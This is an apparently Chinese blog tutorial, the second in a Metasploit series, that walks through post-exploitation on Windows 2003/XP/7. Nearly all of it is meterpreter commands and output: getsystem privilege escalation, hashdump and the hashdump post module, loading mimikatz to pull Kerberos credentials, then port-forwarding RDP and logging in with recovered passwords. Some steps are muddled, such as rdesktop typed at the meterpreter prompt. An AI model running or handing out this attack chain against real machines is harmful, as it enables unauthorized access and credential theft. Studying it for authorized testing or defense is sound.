metasploit渗透第二篇

版权声明：本文为博主原创文章，转载必须写明出处。

通过metasploit 框架反弹shell

win 2003 提权与远程连接

通过[metasploit渗透第一篇](http://blog.csdn.net/qq_38341596/article/details/78566081)我们已经获得了windows用户的普通权限，相信大家不会满足于这样，因为普通用户的权限的限制大，从现在开始我们就学习windows系统的提权，因为win 2003 ,win xp , win 7/8系统的提权方式一样，所以在这篇我就统一了。至于win10我就放在metasploit渗透第三篇。

实现步骤：

1. 提权
2. 获取用户的hash密码
3. 对用户的hash密码解码

4. 进行对win 2003的远程桌面连接

   1. 提权

> meterpreter > getuid //获取用户的服务器运行
Server username: AAA\Administrator 
> meterpreter >getsystem //利用已自漏洞，自动提权为SYSTEM
...got system via technique 1 (Named Pipe Impersonation (InMemory/Admin)). 
> meterpreter > getuid ////再次查看用户
Server username: NTAUTHORITY\SYSTEM

1. 获取用户的hash密码
   通过提权我们已经进入了对方系统的最高权限，接下来我们获取用户密码，我们使用back退出当前用户，回到meterpreter权限。

>meterpreter >Hashdump //获取密码
>meterpreter >run post/windows/gather/hashdump  //加载解密模块

3.对用户的hash密码解码

meterpreter > load mimikatz //加载法国神器
meterpreter >Kerberos //解密

4.对win 2003的远程桌面连接

meterpreter > portfwd add -l 8888 -r 192.168.254.101 -p 3389 //端口转发
新窗口打开》》
meterpreter >rdesktop -a 32 127.0.0.1:8888 -u Administrator -p 123456   
meterpreter >rdesktop  192.168.0.128 -u administrator -p 123456  //进入kali的远程桌面

metasploit渗透第二篇